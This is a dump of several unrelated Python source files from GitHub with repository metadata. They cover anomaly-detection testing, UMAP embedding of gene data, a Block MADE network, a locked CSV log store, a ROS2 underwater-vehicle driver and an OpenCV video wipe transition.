in kpi_seq:\n kpi = cast(KPI, kpi)\n anomaly_scores = model.predict(kpi, verbose=1)\n try:\n results = get_test_results(\n timestamps=kpi.timestamps,\n labels=kpi.labels,\n scores=anomaly_scores,\n missing=kpi.missing,\n values=kpi.values\n )\n # results = results['0.0001']['0.98']\n\n total_timestamps.extend(results[\"timestamp\"])\n total_scores.extend(results[\"scores\"])\n total_labels.extend(results[\"labels\"])\n total_values.extend(results[\"values\"])\n except:\n import traceback\n traceback.print_exc()\n exit(-1)\n\n total_timestamps = np.asarray(total_timestamps)\n total_scores = np.asarray(total_scores)\n total_labels = np.asarray(total_labels)\n total_values = np.asarray(total_values)\n\n sort_idx = np.argsort(total_timestamps)\n total_timestamps = total_timestamps[sort_idx]\n total_scores = total_scores[sort_idx]\n total_values = total_values[sort_idx]\n total_labels = total_labels[sort_idx]\n\n # # adjust after concatenate\n adjusted_scores = at.utils.adjust_scores(\n labels=total_labels, scores=total_scores)\n\n dt = pd.DataFrame({\n \"ts\": total_timestamps,\n \"scores\": adjusted_scores,\n \"values\": total_values,\n \"label\": total_labels,\n })\n # if not os.path.exists(os.path.join(OUTPUT, \"transfer\")):\n # os.makedirs(os.path.join(OUTPUT, \"transfer\"), exist_ok=True)\n if not os.path.exists(os.path.join(OUTPUT, f\"transfer_{TH / 10}\")):\n os.makedirs(os.path.join(OUTPUT, f\"transfer_{TH / 10}\"))\n dt.to_csv(os.path.join(OUTPUT, f\"transfer_{TH / 10}\",\n f\"{raw_kpi_name}.csv\"), index=False)\n\n import json\n json.dump(time_map, open(\"test_time.json\", \"w\"), indent=4)\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO,\n format='[%(asctime)s [%(levelname)s]] %(message)s')\n\n config = at.utils.config()\n CLUSTER_OUTPUT = config.get(\"CLUSTERING\", \"output\")\n DAILY_OUTPUT = os.path.join(CLUSTER_OUTPUT, \"daily_cluster\")\n\n INPUT = config.get('BAGEL', 'input')\n OUTPUT = config.get('TRANSFER_LEARNING', 'output')\n MODEL_PATH = config.get('TRANSFER_LEARNING', 'model_path')\n DATA_EPOCHS = config.getint('TRANSFER_LEARNING', 'data_epochs')\n\n for th in range(18, 21, 1):\n main(th)\n","repo_name":"alumik/AnoTransfer-code","sub_path":"sample/scripts/transfer/cluster_transfer_test.py","file_name":"cluster_transfer_test.py","file_ext":"py","file_size_in_byte":6632,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"7602794387","text":"#!/usr/bin/env python\n\"\"\"\nFind a low-dimensional embedding for a reference data set and project samples onto embedding.\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport umap\n\nfrom sklearn.decomposition import PCA\n\nif __name__ == '__main__':\n\n ddir = '/path/to/data/'\n\n # load data\n reference_gene_counts = pd.read_csv(ddir + 'reference--normalized.tsv', sep='\\t')\n reference_hvgs = pd.HDFStore(ddir + 'reference--highly_variable_genes.tsv')\n\n data = pd.read_csv(ddir + 'mydata--normalized.tsv', sep='\\t')\n data = data.set_index(['plate', 'well'])\n\n # Restrict analysis to genes that\n # 1) are highly variable in the reference, and\n # 2) also present in the data set of interest.\n highly_variable_genes = list(set(reference_hvgs[reference_hvgs['q>0.9']].index.values.tolist()) & set(data.columns.values))\n print(f\"Number of HVGs: {len(highly_variable_genes)}\")\n reference_subset = reference_gene_counts[highly_variable_genes]\n data_subset = data[highly_variable_genes]\n\n # log+1 transform\n reference_subset = np.log1p(reference_subset)\n data_subset = np.log1p(data_subset)\n\n # Reduce dimensionality using PCA.\n # 1) Plot the variance explained by the first 100 components or so.\n pca = PCA(n_components=100).fit(reference_subset)\n fig, (ax1, ax2) = plt.subplots(1,2)\n ax1.plot(pca.explained_variance_ratio_)\n ax2.plot(np.cumsum(pca.explained_variance_ratio_))\n ax1.set_ylabel('Fraction of total variance explained')\n ax2.set_ylabel('Cumulative fraction')\n for ax in (ax1, ax2):\n ax.set_xlabel('Component')\n _, ymax = ax.get_ylim()\n ax.set_ylim(0, ymax)\n ax.grid(True)\n fig.savefig(fdir + 'pca_variance_explained.pdf')\n\n # 2) Choose a sensible number of components and transform the data.\n pca = PCA(n_components=50, whiten=True).fit(reference_subset) # 10, 20, 50\n reference_pca_transformed = pca.transform(reference_subset)\n data_pca_transformed = pca.transform(data_subset)\n\n # Reduce dimensionality further via UMAP.\n print(\"Using UMAP to reduce data down to two dimensions...\")\n umap_instance = umap.UMAP(n_components=2, n_neighbors=15, min_dist=0.75)\n reference_umap_transformed = umap_instance.fit_transform(reference_pca_transformed)\n data_umap_transformed = umap_instance.transform(data_pca_transformed)\n\n is_data = np.concatenate([np.zeros((len(reference_umap_transformed)), dtype=np.bool),\n np.ones((len(data_umap_transformed)), dtype=np.bool)])\n umap_transformed = np.concatenate([reference_umap_transformed, data_umap_transformed], axis=0)\n\n fig, ax = plt.subplots(1,1)\n scatter = ax.scatter(umap_transformed[:,0], umap_transformed[:,1],\n s=is_data.astype(np.float) + 0.1,\n c=is_data.astype(np.int),\n rasterized=True)\n handles, labels = scatter.legend_elements(num=None)\n ax.legend(handles, ['reference samples', 'query samples'], bbox_to_anchor=(1.05, 1), loc='upper left', borderaxespad=0., ncol=1)\n ax.set_axis_off()\n fig.subplots_adjust(right=0.66)\n fig.savefig(fdir+'umap_reference_vs_data.pdf', dpi=400)\n fig.savefig(fdir+'umap_reference_vs_data.png', dpi=400)\n\n plt.show()\n","repo_name":"paulbrodersen/patchseq","sub_path":"05_embedding.py","file_name":"05_embedding.py","file_ext":"py","file_size_in_byte":3296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34151227521","text":"'''\nImplementation of Blocked version of MADE\n'''\n\nimport math\nimport numpy as np\nimport torch\nfrom matplotlib import pyplot as plt\nfrom torch import distributions, nn\nfrom torch.nn import functional as F\nfrom torch.nn import init\n\nfrom utils import torchutils\n\ntorch.set_printoptions(precision=4, sci_mode=False, linewidth=200)\n\n# Basic function to create the block degree given input size and number of blocks;\ndef _create_block_degree(feature, num_block, mode='stack'):\n block_feature = math.ceil(feature / num_block)\n # The dimensions within the same block id is stacked together;\n if mode == 'stack':\n block_degree = torch.arange(0, num_block).repeat_interleave(block_feature)\n # Sequentially assign block id to each dimension;\n elif mode == 'seq':\n block_degree = torch.arange(1, num_block + 1).repeat(block_feature)\n elif mode == 'random':\n block_degree = torch.randint(\n low=1,\n high=num_block + 1,\n size=[feature],\n dtype=torch.long,\n )\n else:\n raise ValueError('Invalid create degree mode. Use stack, seq or random.')\n return block_degree[0:feature]\n\n\nclass BlockMaskedLinear(nn.Linear):\n def __init__(self, in_feature, out_feature, in_block_degree, rand_mask=False, is_output=False, bias=True):\n super().__init__(in_features=in_feature, out_features=out_feature, bias=bias)\n self.in_block_degree = in_block_degree\n self.num_block = torch.max(self.in_block_degree).item()\n self.rand_mask = rand_mask\n self.is_output = is_output\n # Get the mask and block degree of the current layer;\n mask, block_degree = self._get_mask_and_block_degree()\n self.register_buffer('mask', mask)\n self.register_buffer('block_degree', block_degree)\n\n def _get_mask_and_block_degree(self):\n # Assign sequential block degree for 'block_feature' times for every output unit in each block from 0 to 'num_blocks - 1';\n if self.is_output:\n block_degree = _create_block_degree(feature=self.out_features, num_block=self.num_block, mode='stack')\n mask = (block_degree[..., None] >= self.in_block_degree).float()\n else:\n # Assign random mask from 1 to 'num_blocks' for each hidden unit;\n if self.rand_mask:\n block_degree = _create_block_degree(feature=self.out_features, num_block=self.num_block, mode='random')\n mask = (block_degree[..., None] >= self.in_block_degree).float()\n # Assign sequential mask from 1 to 'num_blocks' for each hidden unit;\n else:\n block_degree = _create_block_degree(feature=self.out_features, num_block=self.num_block, mode='seq')\n mask = (block_degree[..., None] >= self.in_block_degree).float()\n return mask, block_degree\n\n def forward(self, inputs):\n return F.linear(inputs, self.weight * self.mask, self.bias)\n\n\nclass BlockMaskedFeedForwardLayer(nn.Module):\n def __init__(self,\n in_feature,\n out_feature,\n in_block_degree,\n rand_mask=False,\n activation=F.relu,\n dropout_probability=0.0,\n use_batch_norm=False,\n zero_initialization=False\n ):\n super().__init__()\n\n # Batch norm;\n if use_batch_norm:\n self.batch_norm = nn.BatchNorm1d(in_feature, eps=1e-3)\n else:\n self.batch_norm = None\n\n # Masked linear layer;\n self.mask_linear = BlockMaskedLinear(\n in_feature=in_feature,\n out_feature=out_feature,\n in_block_degree=in_block_degree,\n rand_mask=rand_mask,\n is_output=False\n )\n self.block_degree = self.mask_linear.block_degree\n\n # Activation and dropout.\n self.activation = activation\n self.dropout = nn.Dropout(p=dropout_probability)\n\n def forward(self, inputs, context=None):\n if self.batch_norm:\n outputs = self.batch_norm(inputs)\n else:\n outputs = inputs\n outputs = self.mask_linear(outputs)\n outputs = self.activation(outputs)\n outputs = self.dropout(outputs)\n return outputs\n\n\nclass BlockMaskedResidualLayer(nn.Module):\n def __init__(self,\n in_feature,\n out_feature,\n in_block_degree,\n rand_mask=False,\n activation=F.relu,\n dropout_probability=0.0,\n use_batch_norm=False,\n zero_initialization=True\n ):\n if rand_mask:\n raise ValueError('Masked residual block cant be used with random masks.')\n if in_feature != out_feature:\n raise ValueError('In and out feature should be the same.')\n super().__init__()\n\n # Batch norm.\n self.use_batch_norm = use_batch_norm\n if use_batch_norm:\n self.batch_norm_layers = nn.ModuleList(\n [nn.BatchNorm1d(in_feature, eps=1e-3) for _ in range(2)]\n )\n\n # Linear layers;\n linear_layer_0 = BlockMaskedLinear(\n in_feature=in_feature,\n out_feature=in_feature,\n in_block_degree=in_block_degree,\n rand_mask=rand_mask,\n is_output=False\n )\n linear_layer_1 = BlockMaskedLinear(\n in_feature=in_feature,\n out_feature=in_feature,\n in_block_degree=linear_layer_0.block_degree,\n rand_mask=rand_mask,\n is_output=False\n )\n self.linear_layers = nn.ModuleList([linear_layer_0, linear_layer_1])\n self.block_degree = linear_layer_1.block_degree\n\n # Activation and dropout\n self.activation = activation\n self.dropout = nn.Dropout(p=dropout_probability)\n\n # Initialization.\n if zero_initialization:\n init.uniform_(self.linear_layers[-1].weight, a=-1e-3, b=1e-3)\n init.uniform_(self.linear_layers[-1].bias, a=-1e-3, b=1e-3)\n\n def forward(self, inputs):\n residual = inputs\n if self.use_batch_norm:\n residual = self.batch_norm_layers[0](residual)\n residual = self.activation(residual)\n residual = self.linear_layers[0](residual)\n if self.use_batch_norm:\n residual = self.batch_norm_layers[1](residual)\n residual = self.activation(residual)\n residual = self.dropout(residual)\n residual = self.linear_layers[1](residual)\n return inputs + residual\n\nclass BlockMADE(nn.Module):\n def __init__(self,\n in_feature,\n hidden_feature,\n out_feature,\n num_block,\n num_hidden_layer=2,\n use_res_layer=False,\n rand_mask=False,\n activation=F.relu,\n dropout_probability=0.0,\n use_batch_norm=False\n ):\n if use_res_layer and rand_mask:\n raise ValueError(\"Residual blocks can't be used with random masks.\")\n super().__init__()\n\n # Construct the BlockMADE network;\n self.first_layer = BlockMaskedLinear(\n in_feature=in_feature,\n out_feature=hidden_feature,\n # Input and output should be in the same block degree.\n in_block_degree=_create_block_degree(in_feature, num_block=num_block) + 1,\n rand_mask=rand_mask,\n is_output=False\n )\n prev_block_degree = self.first_layer.block_degree\n\n # Hidden layers;\n self.hidden_layers = nn.ModuleList([])\n if use_res_layer:\n hidden_layer = BlockMaskedFeedForwardLayer\n else:\n hidden_layer = BlockMaskedResidualLayer\n for _ in range(num_hidden_layer):\n self.hidden_layers.append(hidden_layer(\n in_feature=hidden_feature,\n out_feature=hidden_feature,\n in_block_degree=prev_block_degree,\n rand_mask=rand_mask,\n activation=activation,\n dropout_probability=dropout_probability,\n use_batch_norm=use_batch_norm,\n zero_initialization=True\n ))\n if num_hidden_layer != 0:\n prev_block_degree = self.hidden_layers[-1].block_degree\n\n # Last layer;\n self.last_layer = BlockMaskedLinear(\n in_feature=hidden_feature,\n out_feature=out_feature,\n in_block_degree=prev_block_degree,\n rand_mask=rand_mask,\n is_output=True\n )\n\n def forward(self, inputs):\n tmp = self.first_layer(inputs)\n for hidden_layer in self.hidden_layers:\n temps = hidden_layer(tmp)\n outputs = self.last_layer(tmp)\n return outputs\n\n\nif __name__ == '__main__':\n batch_size = 1\n in_feature = 6\n hidden_feature = 64\n num_block = 3\n block_feature = in_feature // num_block\n out_feature = num_block * block_feature ** 2\n # out_feature = in_feature\n\n inputs = torch.randn(batch_size, in_feature)\n\n block_made = BlockMADE(\n in_feature=in_feature,\n hidden_feature=hidden_feature,\n out_feature=out_feature,\n num_block=num_block,\n use_res_layer=True,\n num_hidden_layer=0\n )\n\n print(block_made.first_layer.block_degree)\n print(block_made.last_layer.block_degree)\n # print(block_made.hidden_layers[-1].block_degree)\n\n # print(block_made.first_layer.mask.shape)\n\n def b_forward(inputs):\n outputs = block_made(inputs)\n # print(outputs[:, 0:4])\n\n m_b1 = outputs[:, 0:4].reshape(batch_size, block_feature, -1)\n m_b2 = outputs[:, 4:8].reshape(batch_size, block_feature, -1)\n m_b3 = outputs[:, 8:12].reshape(batch_size, block_feature, -1)\n\n in_b1 = inputs[:, 0:2].reshape(batch_size, block_feature, 1)\n in_b2 = inputs[:, 2:4].reshape(batch_size, block_feature, 1)\n in_b3 = inputs[:, 4:6].reshape(batch_size, block_feature, 1)\n\n out_b1 = torch.bmm(m_b1, in_b1).reshape(batch_size, block_feature)\n out_b2 = torch.bmm(m_b2, in_b2).reshape(batch_size, block_feature)\n out_b3 = torch.bmm(m_b3, in_b3).reshape(batch_size, block_feature)\n\n return torch.cat((out_b1, out_b2, out_b3), dim=1)\n\n print(b_forward(inputs))\n\n j = torch.autograd.functional.jacobian(b_forward, inputs)\n # j = torch.autograd.functional.jacobian(block_made.forward, inputs)\n real_j = torch.zeros(size=[batch_size, in_feature, in_feature])\n for i in range(batch_size):\n real_j[i, ...] = j[i, :, i, :]\n print('Torch Jacobian:\\n', real_j)\n\n outputs = block_made(inputs)\n # print(outputs[:, 0:4])\n\n m_b1 = outputs[:, 0:4].reshape(batch_size, block_feature, -1)\n m_b2 = outputs[:, 4:8].reshape(batch_size, block_feature, -1)\n m_b3 = outputs[:, 8:12].reshape(batch_size, block_feature, -1)\n\n det_1 = torch.det(m_b1)\n det_2 = torch.det(m_b2)\n det_3 = torch.det(m_b2)\n print(m_b1)\n print(det_1)\n\n print(torch.det(real_j))\n print(det_1*det_2*det_3)","repo_name":"jxzhangjhu/BNF","sub_path":"nn/nets/blockmade.py","file_name":"blockmade.py","file_ext":"py","file_size_in_byte":11196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39903251834","text":"import csv\nimport json\nfrom database.parsing import get_list, numb_to_str_with_zeros\nimport datetime as dt\nimport os\nimport fcntl\nfrom database.index import Indexer\n\nfrom database.constants import LOG_DATE_FORMAT\nfrom database.constants import DIGITS_FOR_FILE_ID\nfrom database.constants import UNDERSCORE\nfrom database.constants import NAME_DATE_FORMAT\nfrom database.constants import DATE_POS_IN_FILE_NAME\n\n\nclass File:\n\n def __init__(self, file_path):\n\n self.file_path = file_path\n self.index_file_path = Indexer.look_for_index_file(self.file_path)\n\n # if file does not exists, create it\n if not os.path.isfile(self.file_path):\n f = open(self.file_path, 'a+')\n f.close()\n\n def read_logs(self, fieldnames, q_tags, q_date_from, q_date_to, q_pattern):\n\n result = []\n\n tag_index_list = []\n\n index_file_exists = bool(self.index_file_path)\n\n filter_by_tags = (len(q_tags) > 0)\n\n # if there is an index file and i have to filter by tags\n # get the indexes\n if index_file_exists & filter_by_tags:\n tag_index_list = get_tag_indexes(self.index_file_path, q_tags)\n # if my index list is empty just return\n if not tag_index_list:\n return result\n\n with open(self.file_path, 'r') as cf:\n\n fcntl.flock(cf, fcntl.LOCK_SH)\n\n reader = csv.DictReader(cf, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL,\n fieldnames=fieldnames)\n\n n_line = 0\n for chunk in gen_row(reader):\n n_line += 1\n e = json.loads(json.dumps(chunk))\n\n cond_tags = True\n cond_date = True\n\n l_tags = get_list(e['logTags'])\n l_date = e['timestamp']\n l_message = e['message']\n\n # If i have to filter by tags\n if filter_by_tags:\n # check if i have an index file\n if index_file_exists:\n # if so, check for correct index\n if str(n_line - 1) not in tag_index_list:\n continue\n # if not do normal tag check\n else:\n cond_tags = set(q_tags).issubset(set(l_tags))\n\n # Check correct date\n if q_date_from:\n cond_date = cond_date & (dt.datetime.strptime(q_date_from, LOG_DATE_FORMAT) <=\n dt.datetime.strptime(l_date, LOG_DATE_FORMAT))\n\n if q_date_to:\n cond_date = cond_date & (dt.datetime.strptime(q_date_to, LOG_DATE_FORMAT) >=\n dt.datetime.strptime(l_date, LOG_DATE_FORMAT))\n\n # Check correct pattern\n cond_pattern = (q_pattern in l_message)\n\n # print(\"tags: \" + str(cond_tags) + \" date: \" + str(cond_date) + \"pattern: \" + str(cond_pattern))\n\n if cond_tags & cond_date & cond_pattern:\n result.append(e)\n # print(\"partial: \" + str(result))\n\n fcntl.flock(cf, fcntl.LOCK_UN)\n\n cf.close()\n return result\n\n def write_log(self, log, fieldnames):\n\n with open(self.file_path, 'a+') as cf:\n\n fcntl.flock(cf, fcntl.LOCK_SH)\n\n writer = csv.DictWriter(cf, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL,\n fieldnames=fieldnames)\n writer.writerow(log)\n\n cf.flush()\n\n fcntl.flock(cf, fcntl.LOCK_UN)\n\n cf.close()\n\n def create_index_file(self, fieldnames):\n self.index_file_path = Indexer.index_file(self.file_path, fieldnames)\n\n def is_same_file(self, f_path):\n return self.file_path == f_path\n\n def is_id(self, f_id):\n x = (self.file_path.split('/'))[-1]\n x = (x.split(UNDERSCORE))[1]\n return (numb_to_str_with_zeros(f_id, DIGITS_FOR_FILE_ID)) == x\n\n def is_date(self, d_from, d_to):\n x = (self.file_path.split('/'))[-1]\n x = (x.split(UNDERSCORE))[DATE_POS_IN_FILE_NAME]\n date = dt.datetime.strptime(x, NAME_DATE_FORMAT)\n cond_from = True\n cond_to = True\n if d_from:\n cond_from = date >= dt.datetime.strptime(dt.datetime.strptime(\n d_from, LOG_DATE_FORMAT).strftime(NAME_DATE_FORMAT), NAME_DATE_FORMAT)\n if d_to:\n cond_to = date <= dt.datetime.strptime(dt.datetime.strptime(\n d_to, LOG_DATE_FORMAT).strftime(NAME_DATE_FORMAT), NAME_DATE_FORMAT)\n return cond_from & cond_to\n\n def get_file_name(self):\n return self.file_path.split('/')[-1]\n\n\ndef gen_row(reader):\n for row in reader:\n yield row\n\n\ndef get_tag_indexes(index_file_path, q_tags):\n index_list = []\n with open(index_file_path, 'r+') as i_file:\n fcntl.flock(i_file, fcntl.LOCK_SH)\n\n reader = csv.DictReader(i_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL,\n fieldnames=['tag', 'indexes'])\n\n for e in gen_row(reader):\n i_tag = e['tag']\n i_indexes = get_list(e['indexes'])\n if i_tag in q_tags:\n if index_list:\n index_list = list(set(index_list) & set(i_indexes))\n else:\n index_list = i_indexes\n\n fcntl.flock(i_file, fcntl.LOCK_UN)\n i_file.close()\n\n return index_list\n","repo_name":"Jose72/7574-tp1","sub_path":"database/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":5579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8784769501","text":"import sys\nimport re\n# usage: python3 get_depth_data.py XX.vcf.table 1\n# in this test, for pool sum2 the number should be 5\n# bash loop as following\n# for i in {1..5..1}; do python3 get_depth_data.py XX.vcf.table $i;done\n\nf_in = open(sys.argv[1], \"r\")\npool_i = int(sys.argv[2])\nout_file = sys.argv[1] + \".pool_\" + sys.argv[2] + \".data\"\nf_out = open(out_file, \"w\")\n# print header line of the output\nprint('DP\\tN_SNP\\tAvg_freq', file=f_out)\ndepths = [] #\nfreqs = []\n\ncontent = f_in.readlines()\nfor line in content:\n if re.match('^#(.*)', line): # skip header\n continue\n line = line.split()\n freqs.append(float(line[2*pool_i])) # freq of pool i\n depths.append(int(line[2*pool_i+1])) # depth of pool i\n\n\ndepth_values = set(depths) # keep the unrepeated values of depths\n\ndepth_freq = [([0 for j in range(2)]) for i in range(len(depths))] # so there're no index errors\nfor i in range(len(depths)):\n depth_freq[i][0] = depths[i]\n depth_freq[i][1] = freqs[i]\n# print(depth_freq)\n\nfor DP in depth_values:\n N_SNP = depths.count(DP) # the number of SNPs of this depth\n # calculating total_freq\n total_freq = 0\n for i in range(len(depths)): # for all site in input table\n if depth_freq[i][0] == DP:\n total_freq += depth_freq[i][1]\n avg_freq = total_freq / N_SNP\n print(DP, '\\t', N_SNP, '\\t', avg_freq, file=f_out)\n\nf_in.close()\nf_out.close()\n\n","repo_name":"imengyuan/Rumex_meiotic_drive","sub_path":"AF_DP/get_depth_data.py","file_name":"get_depth_data.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39483703171","text":"import rclpy\nfrom rclpy.node import Node\nfrom rclpy.time import Time\nfrom msur_lib.protocol.communication import Receiver, Sender\nfrom msur_lib.protocol.tests import TestReceiver\nfrom msur_msgs.msg import DevConfig, DevError, PidsStatus, Leaks, UpdatePid, Reboot\nfrom geometry_msgs.msg import PoseStamped, Vector3, Twist\nfrom sensor_msgs.msg import BatteryState, Imu\nfrom std_msgs.msg import Header, Bool\nimport numpy as np\nfrom msur_lib.protocol.model import *\n\n\ndef to_quaternion(pitch, yaw, roll) -> list:\n qx = np.sin(roll / 2) * np.cos(pitch / 2) * np.cos(yaw / 2) - np.cos(roll / 2) * np.sin(pitch / 2) * np.sin(yaw / 2)\n qy = np.cos(roll / 2) * np.sin(pitch / 2) * np.cos(yaw / 2) + np.sin(roll / 2) * np.cos(pitch / 2) * np.sin(yaw / 2)\n qz = np.cos(roll / 2) * np.cos(pitch / 2) * np.sin(yaw / 2) - np.sin(roll / 2) * np.sin(pitch / 2) * np.cos(yaw / 2)\n qw = np.cos(roll / 2) * np.cos(pitch / 2) * np.cos(yaw / 2)\n return [qx, qy, qz, qw]\n\n\nclass Driver(Node):\n header = Header()\n header.frame_id = 'driver'\n pid_types = {\n 0: RollPidConfig,\n 1: PitchPidConfig,\n 2: YawPidConfig,\n 3: DepthPidConfig,\n 4: AltitudePidConfig,\n 5: VelXPidConfig,\n 6: VelYPidConfig\n }\n reboot_types = {\n 0: RebootConfig(stm=True),\n 1: RebootConfig(pc=True),\n 2: RebootConfig(hudro=True),\n }\n\n def __init__(self):\n super().__init__('driver')\n self.declare_parameter('debug', 'false')\n self.declare_parameter('local_address', '192.168.90.77')\n self.declare_parameter('local_port', '2065')\n self.declare_parameter('remote_address', '192.168.90.1')\n self.declare_parameter('remote_port', '2030')\n\n self.debug = self.get_parameter('debug').get_parameter_value().string_value\n self.local_address = self.get_parameter('local_address').get_parameter_value().string_value\n self.remote_address = self.get_parameter('remote_address').get_parameter_value().string_value\n self.local_port = self.get_parameter('local_address').get_parameter_value().integer_value\n self.remote_port = self.get_parameter('remote_address').get_parameter_value().integer_value\n\n if self.debug == 'true':\n self. receiver = TestReceiver(('127.0.0.1', 2065))\n else:\n self.receiver = Receiver((self.local_address, self.local_port))\n self.receiver.logger = self.get_logger()\n self.timer = Time()\n self.send_buffer = []\n\n self.config_publisher = self.create_publisher(DevConfig, 'telemetry/devices', 10)\n self.leaks_publisher = self.create_publisher(Leaks, 'telemetry/leaks', 10)\n self.pid_publisher = self.create_publisher(PidsStatus, 'telemetry/pid', 10)\n self.errors_publisher = self.create_publisher(DevError, 'telemetry/errors', 10)\n self.battery_publisher = self.create_publisher(BatteryState, 'telemetry/battery', 10)\n self.imu_publisher = self.create_publisher(Imu, 'telemetry/orientation', 10)\n\n self.i = 0\n\n self.sender = Sender((self.remote_address, self.remote_port))\n self.pid_subscriber = self.create_subscription(UpdatePid, 'config/pid', self.update_pid, 10)\n self.rewrite = self.create_subscription(Bool, 'config/rewrite', self.rewrite, 10)\n self.reboot_subscriber = self.create_subscription(Reboot, 'config/reboot', self.reboot_device, 10)\n self.motion = self.create_subscription(Twist, 'cmd_vel', self.motion, 10)\n\n self.get_logger().info(f'Running driver node in {\"debug\" if self.debug == \"true\" else \"production\"} mode on: '\n f'{self.local_address}:{self.local_port} and target: {self.remote_address}: '\n f'{self.remote_port}')\n self.timer = self.create_timer(0.1, self.driver_loop)\n\n def driver_loop(self):\n self.receiver.ones(self.publish_telemetry)\n self.send_data()\n self.send_buffer = []\n\n def publish_telemetry(self, telemetry: Telemetry):\n if telemetry is None:\n return\n self.header.stamp = self.get_clock().now().to_msg()\n\n self.imu_publisher.publish(Imu(header=self.header, angular_velocity=telemetry.get_vector(Vector3)))\n self.battery_publisher.publish(BatteryState(voltage=telemetry.voltage, current=telemetry.current, present=True))\n self.errors_publisher.publish(DevError(**telemetry.device_error.dict()))\n self.pid_publisher.publish(PidsStatus(**telemetry.pid_stat.dict()))\n self.leaks_publisher.publish(Leaks(**telemetry.leak.dict()))\n self.config_publisher.publish(DevConfig(**telemetry.devices_stat.dict()))\n self.i += 1\n\n def send_data(self):\n deprecated = []\n for item in reversed(self.send_buffer):\n if item.__class__ in deprecated:\n continue\n deprecated.append(item.__class__)\n self.sender.ones(lambda: self.send_buffer)\n\n def update_pid(self, msg: UpdatePid):\n pid = self.pid_types[msg.type](p=msg.p, i=msg.i, d=msg.d)\n self.get_logger().info(f'Update pid settings for\\ntype: {pid}, p:{msg.p}, i:{msg.i}, d:{msg.d}')\n self.send_buffer.append(pid)\n\n def reboot_device(self, msg: Reboot):\n reboot = self.reboot_types[msg.device]\n self.get_logger().info(f'Reboot: {reboot}')\n self.send_buffer.append(reboot)\n\n def rewrite(self, msg: Bool):\n if msg.data:\n self.get_logger().info(f'Write pid parameters in rom')\n self.send_buffer.append(WriteConfig(pid=True))\n\n def motion(self, msg: Twist):\n self.get_logger().info(f'Send motion data')\n self.send_buffer += [XThrust(value=msg.linear.x), YThrust(value=msg.linear.y), ZThrust(value=msg.linear.z)]\n\n\ndef main(args=None):\n rclpy.init(args=args)\n node = Driver()\n rclpy.spin(node)\n node.destroy_node()\n rclpy.shutdown()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Photon94/msur","sub_path":"src/msur_driver/msur_driver/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":5963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11744503865","text":"from db.models import Task, Dashboard\nfrom db.db import new_session\n\n\nclass TaskService:\n def create_task(self, name, dashboard):\n with new_session as session:\n new_task = Task(name=name, dashboard_id=dashboard)\n session.add(new_task)\n session.commit()\n","repo_name":"lakeofcolors/managment-bot","sub_path":"src/bot/services/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41762749177","text":"import sys\nimport numpy as np\nimport cv2\n\ncap1 = cv2.VideoCapture('video1.mp4')\ncap2 = cv2.VideoCapture('video2.mp4')\n\n\nif not cap1.isOpened() or not cap2.isOpened():\n\tprint(\"video out\")\n\tsys.exit()\n\n# 두 동영상의 크기와 fps는 같다고 가정할때 \nframe_cnt1 = round(cap1.get(cv2.CAP_PROP_FRAME_COUNT))\nframe_cnt2 = round(cap2.get(cv2.CAP_PROP_FRAME_COUNT))\nfps = cap1.get(cv2.CAP_PROP_FPS)\neffect_frmaes = int(fps * 2)\n\nprint('frame_cnt1:',frame_cnt1)\nprint('frame_cnt2:',frame_cnt2)\nprint('FPS',fps)\n\n\ndelay = int(1000/fps)\n\nw = round(cap1.get(cv2.CAP_PROP_FRAME_WIDTH))\nh = round(cap1.get(cv2.CAP_PROP_FRAME_HEIGHT))\nfourcc = cv2.VideoWriter_fourcc(*'DIVX')\n\n# 출력 동영상 객체 생성\nout = cv2.VideoWriter('output.avi',fourcc,fps,(w,h))\n\n# 이 코드는 단순히 동영상 두개 합칠떄 사용하는 코드 \n# while True:\n# \tret1,frame1 = cap1.read()\n# \tif not ret1:\n# \t\tbreak\n# \tout.write(frame1)\n# \tcv2.imshow('frame',frame1)\n# \tcv2.waitKey(delay)\n# while True:\n# \tret2,frame2 = cap2.read()\n# \tif not ret2:\n# \t\tbreak\n# \tout.write(frame2)\n# \tcv2.imshow('frame',frame2)\n# \tcv2.waitKey(delay)\n\nfor i in range(frame_cnt1- effect_frmaes):\n\tret1,frame1 = cap1.read()\n\tif not ret1:\n\t\tbreak\n\tout.write(frame1)\n\tcv2.imshow('frame',frame1)\n\tcv2.waitKey(delay)\n\nfor i in range(effect_frmaes):\n\tret1,frame1 = cap1.read()\n\tret2,frame2 = cap2.read()\n\n# 합성하는 과정이 필요\n\tdx = int(w *i / effect_frmaes)\n\n\tframe = np.zeros((h,w,3),dtype=np.uint8)\n\tframe[:,0:dx] = frame2[:,0:dx]\n\tframe[:,dx:w] = frame1[:,dx:w]\n\tout.write(frame)\n\tcv2.imshow('frame',frame)\n\tcv2.waitKey(delay)\n\n# 여기가 핵심입니다!\n\nfor i in range(effect_frmaes,frame_cnt2):\n\tret2,frame2 = cap2.read()\n\tif not ret2:\n\t\tbreak\n\tout.write(frame2)\n\tcv2.imshow('frame',frame2)\n\tcv2.waitKey(delay)\n","repo_name":"FLY-CODE77/opencv","sub_path":"project/video_effect/effect.py","file_name":"effect.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42178335407","text":"import requests \nimport random\nimport 